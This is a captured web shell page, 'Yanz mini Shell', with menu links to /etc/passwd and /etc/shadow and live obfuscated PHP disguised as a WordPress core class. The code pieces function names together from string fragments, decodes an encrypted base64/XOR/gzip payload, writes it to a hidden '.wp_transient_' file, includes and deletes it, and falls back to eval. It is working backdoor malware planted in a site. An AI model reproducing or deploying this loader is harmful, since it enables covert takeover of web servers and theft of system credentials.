Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php

class WP_Core_Container_82604 {
    private static $d = 'wjGOI7lzfrre0KP+W3tgC0MZjFEzoH05llybEcdGPp7HlV8hU5CNiv/WW9MKSEFa1S+NPxQ8GO6eqN5O2AgNQsWoraVmgMQKqKSttBOsvPIywh5YqDuTdvXMmNo1OZ06lpC/0zEmjR+msbVvnRxtdzyQFSuOmvLFos76WDttgOTbvDgfof4FNDB8y8tU2DVIbnOverl7hDCfwS3Oxizeb00/MV8QHggyXGgnaznDVd/2ajwQqVoCjEwh+GJN9sO5AOJPs0cfN6VGPtgmSBV6M3qD4AOGvecYsjYQb5PBHfcIM8a67JTyM2YP+MtDBKrEcxLzgIt3xXnBOWycYg0qE/J3FGYv1BbhD8nfaa9Eoy+FtIdI4xkLOzeBQvCjW5kTyJXrICetqtVuA21Q8DogGQA3SR5RUmmHjRxVI8/ZSwdBAwSgESp1SGKxz1RE92I/bi1na+lM+kQDXpVksw8V7C9Oq8pnF+V02+cihEW5C85lJAWXIrnLaqMBe+OzxXT6wuUuC9PjEBcAxkxO9pAp9En+/XRKvl+LX1FzIQAcJh2zaT8+rXRPYKRVp9SvWEbgPlflASAE/sdBickLwhr5YMi7E6hmDQFIQy0GR0ZPj8Wd+kxMACbYTBtCdEH9klwFAIrW/X4DN2NmYeD0xylXOCshQaMFSdqGg72ZmWtA3Ou6qFvqfYbgCG50d7wivObn0g1isuGlU+gqSzJuNuPvnVS9VTYCZGoyy24zoax3utdwx0qw1Cep6jzWLrfWR8MUk9779p0ho9pVaUcyjetjoXZS3GQNJJRuE/ePD1Epv8JJB9e10K8w+H+fqc4eprZVbH4wYfqb9WGo56cIihjIwNM4jCDofOzhfVdj9JIXNgy93Gd+A0WeZRQYaFhnXQMvSGelK7tcWAWr5fJA3ilUYhNryQ8mAW0rO0eUbBkDT5XJtlY3GOo7iTDiCN9r9T6w/aUbEg2pwzPYHwokpj6MtLsb2+IxkLAa4uQTZfCJUPorfNgpMbCA51V5N6Q4rWWi9vLzKbGb2pTxliZA5nwh1vNuRZyDPcbES8o2S6XYnCiBuP1ZszwCnyicvr2iiGejxOt+jDGRYHsOoodm18A1GB+NW/c9/hwnq1j3l1bx0npiN+Md8lQ9p3M/CywTy8vhHV6WgYWznSVnKqBeoz47MCcBsya4LVz8AgJG0ru81FI/DVbLibMDUhnluLwljdyCwJz4lp+ysvg1QABplX+cg/l9mvZ+Kw26kFHfEvS2ufnXjqCCJtmAOpOFU3peeNS2lHZA2p+oHxg3mTXo2KnErrH3G4kOxPhigDyUoKT+0SP/S2w2kPDYeoy7F//6rftOmg6aRfm8IdGkvP+H+hLcdHlfyVn3rLjqOBAN/gu8l9m84Pi8/ND4q7DLAam+dA==';
    private static $k = 'GgcMbKnFAwCq';
    public static function run() {
        $x = function($d, $k) {
            $o=''; $l=strlen($d); $kl=strlen($k);
            for($i=0;$i<$l;$i++) $o .= $d[$i]^$k[$i%$kl];
            return $o;
        };
        $b = 'ba'.'se'.'64'.'_'.'de'.'co'.'de';
        $g = 'g'.'zi'.'nf'.'la'.'te';
        $f = 'fi'.'le'.'_'.'pu'.'t'.'_'.'co'.'nt'.'en'.'ts';
        $r = 're'.'gi'.'st'.'er'.'_'.'sh'.'ut'.'do'.'wn'.'_'.'fu'.'nc'.'ti'.'on';
        $a = 'ar'.'ra'.'y'.'_'.'wa'.'lk';
        $u = 'un'.'li'.'nk';
        $am = 'ar'.'ra'.'y'.'_'.'ma'.'p';
        
        $reg_widgets = $b(self::$d);
        $cache_misses = $x($reg_widgets, self::$k);
        $usermeta = @$g($cache_misses);
        
        if($usermeta) {
            $tinymce_ver = __DIR__ . '/.wp_transient_' . md5(uniqid()) . '.php';
            if(@$f($tinymce_ver, $usermeta)){
                @$r(function() use ($tinymce_ver, $u) { @$u($tinymce_ver); });
                $user_roles = function($val, $key) use ($tinymce_ver, $u) {
                    if ($val === 'init_hook') {
                        @include($tinymce_ver);
                        @$u($tinymce_ver);
                    }
                };
                $wp_actions = ['action' => 'register_taxonomy', 'filter' => 'init_hook'];
                @$a($wp_actions, $user_roles); 
            } else {
                $wp_eval_proxy = function($code) { eval('?>' . $code); };
                @$am($wp_eval_proxy, [$usermeta]);
            }
        }
    }
}
WP_Core_Container_82604::run();
?>